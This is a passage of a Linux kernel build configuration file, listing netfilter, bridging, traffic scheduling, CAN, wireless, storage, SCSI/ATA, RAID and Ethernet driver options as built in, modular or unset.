CONFIG_IP_NF_TARGET_MASQUERADE=m
CONFIG_IP_NF_TARGET_NETMAP=m
CONFIG_IP_NF_TARGET_REDIRECT=m
CONFIG_NF_NAT_SNMP_BASIC=m
CONFIG_NF_NAT_PROTO_DCCP=m
CONFIG_NF_NAT_PROTO_GRE=m
CONFIG_NF_NAT_PROTO_UDPLITE=m
CONFIG_NF_NAT_PROTO_SCTP=m
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_TFTP=m
CONFIG_NF_NAT_AMANDA=m
CONFIG_NF_NAT_PPTP=m
CONFIG_NF_NAT_H323=m
CONFIG_NF_NAT_SIP=m
CONFIG_IP_NF_MANGLE=m
CONFIG_IP_NF_TARGET_CLUSTERIP=m
CONFIG_IP_NF_TARGET_ECN=m
CONFIG_IP_NF_TARGET_TTL=m
CONFIG_IP_NF_RAW=m
CONFIG_IP_NF_SECURITY=m
CONFIG_IP_NF_ARPTABLES=m
CONFIG_IP_NF_ARPFILTER=m
CONFIG_IP_NF_ARP_MANGLE=m

#
# IPv6: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV6=m
CONFIG_NF_CONNTRACK_IPV6=m
CONFIG_IP6_NF_QUEUE=m
CONFIG_IP6_NF_IPTABLES=m
CONFIG_IP6_NF_MATCH_AH=m
CONFIG_IP6_NF_MATCH_EUI64=m
CONFIG_IP6_NF_MATCH_FRAG=m
CONFIG_IP6_NF_MATCH_OPTS=m
CONFIG_IP6_NF_MATCH_HL=m
CONFIG_IP6_NF_MATCH_IPV6HEADER=m
CONFIG_IP6_NF_MATCH_MH=m
CONFIG_IP6_NF_MATCH_RT=m
CONFIG_IP6_NF_TARGET_HL=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_REJECT=m
CONFIG_IP6_NF_MANGLE=m
CONFIG_IP6_NF_RAW=m
CONFIG_IP6_NF_SECURITY=m
CONFIG_BRIDGE_NF_EBTABLES=m
CONFIG_BRIDGE_EBT_BROUTE=m
CONFIG_BRIDGE_EBT_T_FILTER=m
CONFIG_BRIDGE_EBT_T_NAT=m
CONFIG_BRIDGE_EBT_802_3=m
CONFIG_BRIDGE_EBT_AMONG=m
CONFIG_BRIDGE_EBT_ARP=m
CONFIG_BRIDGE_EBT_IP=m
CONFIG_BRIDGE_EBT_IP6=m
CONFIG_BRIDGE_EBT_LIMIT=m
CONFIG_BRIDGE_EBT_MARK=m
CONFIG_BRIDGE_EBT_PKTTYPE=m
CONFIG_BRIDGE_EBT_STP=m
CONFIG_BRIDGE_EBT_VLAN=m
CONFIG_BRIDGE_EBT_ARPREPLY=m
CONFIG_BRIDGE_EBT_DNAT=m
CONFIG_BRIDGE_EBT_MARK_T=m
CONFIG_BRIDGE_EBT_REDIRECT=m
CONFIG_BRIDGE_EBT_SNAT=m
CONFIG_BRIDGE_EBT_LOG=m
CONFIG_BRIDGE_EBT_ULOG=m
CONFIG_BRIDGE_EBT_NFLOG=m
CONFIG_IP_DCCP=m
CONFIG_INET_DCCP_DIAG=m

#
# DCCP CCIDs Configuration (EXPERIMENTAL)
#
# CONFIG_IP_DCCP_CCID2_DEBUG is not set
CONFIG_IP_DCCP_CCID3=y
# CONFIG_IP_DCCP_CCID3_DEBUG is not set
CONFIG_IP_DCCP_TFRC_LIB=y

#
# DCCP Kernel Hacking
#
# CONFIG_IP_DCCP_DEBUG is not set
CONFIG_IP_SCTP=m
# CONFIG_SCTP_DBG_MSG is not set
# CONFIG_SCTP_DBG_OBJCNT is not set
# CONFIG_SCTP_HMAC_NONE is not set
# CONFIG_SCTP_HMAC_SHA1 is not set
CONFIG_SCTP_HMAC_MD5=y
CONFIG_RDS=m
CONFIG_RDS_RDMA=m
CONFIG_RDS_TCP=m
# CONFIG_RDS_DEBUG is not set
CONFIG_TIPC=m
CONFIG_TIPC_ADVANCED=y
CONFIG_TIPC_PORTS=8191
CONFIG_TIPC_LOG=0
# CONFIG_TIPC_DEBUG is not set
# CONFIG_ATM is not set
CONFIG_L2TP=m
CONFIG_L2TP_DEBUGFS=m
CONFIG_L2TP_V3=y
CONFIG_L2TP_IP=m
CONFIG_L2TP_ETH=m
CONFIG_STP=m
CONFIG_GARP=m
CONFIG_BRIDGE=m
CONFIG_BRIDGE_IGMP_SNOOPING=y
# CONFIG_NET_DSA is not set
CONFIG_VLAN_8021Q=m
CONFIG_VLAN_8021Q_GVRP=y
# CONFIG_DECNET is not set
CONFIG_LLC=m
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
CONFIG_PHONET=m
CONFIG_IEEE802154=m
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_MULTIQ=m
CONFIG_NET_SCH_RED=m
# CONFIG_NET_SCH_SFB is not set
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_DRR=m
CONFIG_NET_SCH_MQPRIO=m
CONFIG_NET_SCH_CHOKE=m
CONFIG_NET_SCH_INGRESS=m

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=m
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
CONFIG_NET_CLS_FLOW=m
CONFIG_NET_CLS_CGROUP=y
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=m
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_NET_EMATCH_U32=m
CONFIG_NET_EMATCH_META=m
CONFIG_NET_EMATCH_TEXT=m
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=m
CONFIG_NET_ACT_GACT=m
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=m
CONFIG_NET_ACT_IPT=m
CONFIG_NET_ACT_NAT=m
CONFIG_NET_ACT_PEDIT=m
CONFIG_NET_ACT_SIMP=m
CONFIG_NET_ACT_SKBEDIT=m
CONFIG_NET_ACT_CSUM=m
CONFIG_NET_CLS_IND=y
CONFIG_NET_SCH_FIFO=y
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
# CONFIG_BATMAN_ADV is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y

#
# Network testing
#
CONFIG_NET_PKTGEN=m
# CONFIG_HAMRADIO is not set
CONFIG_CAN=m
CONFIG_CAN_RAW=m
CONFIG_CAN_BCM=m

#
# CAN Device Drivers
#
CONFIG_CAN_VCAN=m
CONFIG_CAN_SLCAN=m
CONFIG_CAN_DEV=m
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_MCP251X=m
# CONFIG_PCH_CAN is not set
CONFIG_CAN_SJA1000=m
CONFIG_CAN_SJA1000_ISA=m
# CONFIG_CAN_SJA1000_PLATFORM is not set
CONFIG_CAN_EMS_PCI=m
CONFIG_CAN_KVASER_PCI=m
CONFIG_CAN_PLX_PCI=m
CONFIG_CAN_TSCAN1=m
# CONFIG_CAN_C_CAN is not set

#
# CAN USB interfaces
#
CONFIG_CAN_EMS_USB=m
CONFIG_CAN_ESD_USB2=m
# CONFIG_CAN_SOFTING is not set
# CONFIG_CAN_DEBUG_DEVICES is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
CONFIG_AF_RXRPC=m
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=m
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WIRELESS_EXT=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_WEXT_SPY=y
CONFIG_WEXT_PRIV=y
CONFIG_CFG80211=m
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_REG_DEBUG is not set
CONFIG_CFG80211_DEFAULT_PS=y
# CONFIG_CFG80211_DEBUGFS is not set
# CONFIG_CFG80211_INTERNAL_REGDB is not set
CONFIG_CFG80211_WEXT=y
# CONFIG_WIRELESS_EXT_SYSFS is not set
CONFIG_LIB80211=m
CONFIG_LIB80211_CRYPT_WEP=m
CONFIG_LIB80211_CRYPT_CCMP=m
CONFIG_LIB80211_CRYPT_TKIP=m
# CONFIG_LIB80211_DEBUG is not set
CONFIG_MAC80211=m
CONFIG_MAC80211_HAS_RC=y
CONFIG_MAC80211_RC_MINSTREL=y
CONFIG_MAC80211_RC_MINSTREL_HT=y
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel_ht"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
# CONFIG_MAC80211_DEBUGFS is not set
# CONFIG_MAC80211_DEBUG_MENU is not set
CONFIG_WIMAX=m
CONFIG_WIMAX_DEBUG_LEVEL=8
CONFIG_RFKILL=m
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
CONFIG_NET_9P=m
CONFIG_NET_9P_RDMA=m
# CONFIG_NET_9P_DEBUG is not set
# CONFIG_CAIF is not set
CONFIG_CEPH_LIB=m
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
# CONFIG_DEVTMPFS_MOUNT is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
# CONFIG_FIRMWARE_IN_KERNEL is not set
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
CONFIG_CONNECTOR=m
# CONFIG_MTD is not set
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_SERIAL=m
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_PC_PCMCIA=m
CONFIG_PARPORT_GSC=m
CONFIG_PARPORT_AX88796=m
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
# CONFIG_PNP is not set
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=m
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
CONFIG_BLK_DEV_DRBD=m
# CONFIG_DRBD_FAULT_INJECTION is not set
CONFIG_BLK_DEV_NBD=m
CONFIG_BLK_DEV_OSD=m
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=m
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
CONFIG_CDROM_PKTCDVD=m
CONFIG_CDROM_PKTCDVD_BUFFERS=8
# CONFIG_CDROM_PKTCDVD_WCACHE is not set
CONFIG_ATA_OVER_ETH=m
# CONFIG_BLK_DEV_HD is not set
CONFIG_BLK_DEV_RBD=m
CONFIG_SENSORS_LIS3LV02D=m
CONFIG_MISC_DEVICES=y
CONFIG_AD525X_DPOT=m
CONFIG_AD525X_DPOT_I2C=m
CONFIG_AD525X_DPOT_SPI=m
# CONFIG_PHANTOM is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
CONFIG_ICS932S401=m
CONFIG_ENCLOSURE_SERVICES=m
# CONFIG_HP_ILO is not set
CONFIG_APDS9802ALS=m
CONFIG_ISL29003=m
CONFIG_ISL29020=m
CONFIG_SENSORS_TSL2550=m
CONFIG_SENSORS_BH1780=m
CONFIG_SENSORS_BH1770=m
CONFIG_SENSORS_APDS990X=m
CONFIG_HMC6352=m
CONFIG_DS1682=m
CONFIG_TI_DAC7512=m
CONFIG_BMP085=m
# CONFIG_PCH_PHUB is not set
CONFIG_C2PORT=m

#
# EEPROM support
#
CONFIG_EEPROM_AT24=m
CONFIG_EEPROM_AT25=m
CONFIG_EEPROM_LEGACY=m
CONFIG_EEPROM_MAX6875=m
CONFIG_EEPROM_93CX6=m
CONFIG_CB710_CORE=m
# CONFIG_CB710_DEBUG is not set
CONFIG_CB710_DEBUG_ASSUMPTIONS=y

#
# Texas Instruments shared transport line discipline
#
# CONFIG_TI_ST is not set
# CONFIG_SENSORS_LIS3_SPI is not set
CONFIG_SENSORS_LIS3_I2C=m
CONFIG_HAVE_IDE=y
CONFIG_IDE=m

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=m
CONFIG_IDE_GD_ATA=y
CONFIG_IDE_GD_ATAPI=y
# CONFIG_BLK_DEV_IDECS is not set
CONFIG_BLK_DEV_DELKIN=m
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_BLK_DEV_OFFBOARD is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
CONFIG_BLK_DEV_IT8172=m
CONFIG_BLK_DEV_IT8213=m
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=m
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
CONFIG_BLK_DEV_TC86C001=m
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_SCSI_MOD=m
CONFIG_RAID_ATTRS=m
CONFIG_SCSI=m
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=m
CONFIG_SCSI_NETLINK=y
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=m
CONFIG_CHR_DEV_OSST=m
CONFIG_BLK_DEV_SR=m
CONFIG_BLK_DEV_SR_VENDOR=y
CONFIG_CHR_DEV_SG=m
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_ENCLOSURE=m
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_FC_TGT_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=m
CONFIG_SCSI_SAS_ATTRS=m
CONFIG_SCSI_SAS_LIBSAS=m
CONFIG_SCSI_SAS_ATA=y
CONFIG_SCSI_SAS_HOST_SMP=y
CONFIG_SCSI_SRP_ATTRS=m
CONFIG_SCSI_SRP_TGT_ATTRS=y
CONFIG_SCSI_LOWLEVEL=y
CONFIG_ISCSI_TCP=m
CONFIG_ISCSI_BOOT_SYSFS=m
CONFIG_SCSI_CXGB3_ISCSI=m
CONFIG_SCSI_CXGB4_ISCSI=m
CONFIG_SCSI_BNX2_ISCSI=m
# CONFIG_SCSI_BNX2X_FCOE is not set
CONFIG_BE2ISCSI=m
CONFIG_BLK_DEV_3W_XXXX_RAID=m
CONFIG_SCSI_HPSA=m
CONFIG_SCSI_3W_9XXX=m
CONFIG_SCSI_3W_SAS=m
CONFIG_SCSI_ACARD=m
CONFIG_SCSI_AHA1740=m
CONFIG_SCSI_AACRAID=m
CONFIG_SCSI_AIC7XXX=m
CONFIG_AIC7XXX_CMDS_PER_DEVICE=32
CONFIG_AIC7XXX_RESET_DELAY_MS=15000
CONFIG_AIC7XXX_DEBUG_ENABLE=y
CONFIG_AIC7XXX_DEBUG_MASK=0
CONFIG_AIC7XXX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC7XXX_OLD=m
CONFIG_SCSI_AIC79XX=m
CONFIG_AIC79XX_CMDS_PER_DEVICE=32
CONFIG_AIC79XX_RESET_DELAY_MS=15000
CONFIG_AIC79XX_DEBUG_ENABLE=y
CONFIG_AIC79XX_DEBUG_MASK=0
CONFIG_AIC79XX_REG_PRETTY_PRINT=y
CONFIG_SCSI_AIC94XX=m
# CONFIG_AIC94XX_DEBUG is not set
CONFIG_SCSI_MVSAS=m
# CONFIG_SCSI_MVSAS_DEBUG is not set
# CONFIG_SCSI_DPT_I2O is not set
CONFIG_SCSI_ADVANSYS=m
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
CONFIG_MEGARAID_LEGACY=m
CONFIG_MEGARAID_SAS=m
CONFIG_SCSI_MPT2SAS=m
CONFIG_SCSI_MPT2SAS_MAX_SGE=128
# CONFIG_SCSI_MPT2SAS_LOGGING is not set
CONFIG_SCSI_HPTIOP=m
CONFIG_LIBFC=m
CONFIG_LIBFCOE=m
CONFIG_FCOE=m
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set
# CONFIG_SCSI_IPS is not set
CONFIG_SCSI_INITIO=m
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=m
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_STEX=m
CONFIG_SCSI_SYM53C8XX_2=m
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=m
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
CONFIG_SCSI_QLA_FC=m
CONFIG_SCSI_QLA_ISCSI=m
CONFIG_SCSI_LPFC=m
# CONFIG_SCSI_LPFC_DEBUG_FS is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_DEBUG is not set
CONFIG_SCSI_PMCRAID=m
CONFIG_SCSI_PM8001=m
CONFIG_SCSI_SRP=m
CONFIG_SCSI_BFA_FC=m
CONFIG_SCSI_LOWLEVEL_PCMCIA=y
# CONFIG_PCMCIA_AHA152X is not set
CONFIG_PCMCIA_FDOMAIN=m
CONFIG_PCMCIA_QLOGIC=m
CONFIG_PCMCIA_SYM53C500=m
CONFIG_SCSI_DH=m
CONFIG_SCSI_DH_RDAC=m
CONFIG_SCSI_DH_HP_SW=m
CONFIG_SCSI_DH_EMC=m
CONFIG_SCSI_DH_ALUA=m
CONFIG_SCSI_OSD_INITIATOR=m
CONFIG_SCSI_OSD_ULD=m
CONFIG_SCSI_OSD_DPRINT_SENSE=1
# CONFIG_SCSI_OSD_DEBUG is not set
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
CONFIG_SATA_AHCI=m
# CONFIG_SATA_AHCI_PLATFORM is not set
CONFIG_SATA_INIC162X=m
# CONFIG_SATA_ACARD_AHCI is not set
CONFIG_SATA_SIL24=m
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
CONFIG_PDC_ADMA=m
CONFIG_SATA_QSTOR=m
CONFIG_SATA_SX4=m
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
CONFIG_ATA_PIIX=m
CONFIG_SATA_MV=m
CONFIG_SATA_NV=m
CONFIG_SATA_PROMISE=m
CONFIG_SATA_SIL=m
CONFIG_SATA_SIS=m
CONFIG_SATA_SVW=m
CONFIG_SATA_ULI=m
CONFIG_SATA_VIA=m
CONFIG_SATA_VITESSE=m

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARASAN_CF is not set
CONFIG_PATA_ARTOP=m
# CONFIG_PATA_ATIIXP is not set
CONFIG_PATA_ATP867X=m
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
CONFIG_PATA_IT821X=m
CONFIG_PATA_JMICRON=m
CONFIG_PATA_MARVELL=m
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
CONFIG_PATA_RDC=m
# CONFIG_PATA_SC1200 is not set
CONFIG_PATA_SCH=m
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
CONFIG_PATA_SIS=m
CONFIG_PATA_TOSHIBA=m
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_QDI is not set
# CONFIG_PATA_RZ1000 is not set
# CONFIG_PATA_WINBOND_VLB is not set

#
# Generic fallback / legacy drivers
#
CONFIG_ATA_GENERIC=m
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
# CONFIG_MULTICORE_RAID456 is not set
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
# CONFIG_DM_RAID is not set
CONFIG_DM_LOG_USERSPACE=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
CONFIG_DM_MULTIPATH_QL=m
CONFIG_DM_MULTIPATH_ST=m
CONFIG_DM_DELAY=m
CONFIG_DM_UEVENT=y
# CONFIG_DM_FLAKEY is not set
CONFIG_TARGET_CORE=m
CONFIG_TCM_IBLOCK=m
CONFIG_TCM_FILEIO=m
CONFIG_TCM_PSCSI=m
CONFIG_LOOPBACK_TARGET=m
# CONFIG_LOOPBACK_TARGET_CDB_DEBUG is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=128
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
CONFIG_FIREWIRE_NOSY=m
CONFIG_I2O=m
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
CONFIG_I2O_EXT_ADAPTEC=y
CONFIG_I2O_EXT_ADAPTEC_DMA64=y
CONFIG_I2O_CONFIG=m
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=m
CONFIG_I2O_BLOCK=m
CONFIG_I2O_SCSI=m
CONFIG_I2O_PROC=m
CONFIG_NETDEVICES=y
CONFIG_IFB=m
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
CONFIG_MACVLAN=m
CONFIG_MACVTAP=m
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
CONFIG_VETH=m
# CONFIG_ARCNET is not set
CONFIG_MII=m
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_BCM63XX_PHY is not set
CONFIG_ICPLUS_PHY=m
CONFIG_REALTEK_PHY=m
CONFIG_NATIONAL_PHY=m
CONFIG_STE10XP=m
CONFIG_LSI_ET1011C_PHY=m
CONFIG_MICREL_PHY=m
CONFIG_MDIO_BITBANG=m
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=m
CONFIG_HAPPYMEAL=m
CONFIG_SUNGEM=m
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
CONFIG_EL1=m
CONFIG_EL2=m
CONFIG_EL16=m
CONFIG_EL3=m
CONFIG_VORTEX=m
CONFIG_TYPHOON=m
CONFIG_NET_VENDOR_SMC=y
CONFIG_WD80x3=m
CONFIG_ULTRA=m
CONFIG_ULTRA32=m
CONFIG_SMC9194=m
CONFIG_ENC28J60=m
# CONFIG_ENC28J60_WRITEVERIFY is not set
CONFIG_ETHOC=m
CONFIG_NET_VENDOR_RACAL=y
# CONFIG_NI52 is not set
CONFIG_DNET=m
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
CONFIG_ULI526X=m
CONFIG_PCMCIA_XIRCOM=m
CONFIG_AT1700=m
CONFIG_DEPCA=m
CONFIG_HP100=m
CONFIG_NET_ISA=y
CONFIG_E2100=m
CONFIG_EWRK3=m
CONFIG_EEXPRESS=m
CONFIG_EEXPRESS_PRO=m
CONFIG_HPLAN_PLUS=m
CONFIG_HPLAN=m
CONFIG_LP486E=m
CONFIG_ETH16I=m
CONFIG_NE2000=m
CONFIG_SEEQ8005=m
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
CONFIG_AMD8111_ETH=m
CONFIG_ADAPTEC_STARFIRE=m
CONFIG_AC3200=m
CONFIG_KSZ884X_PCI=m
CONFIG_APRICOT=m
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
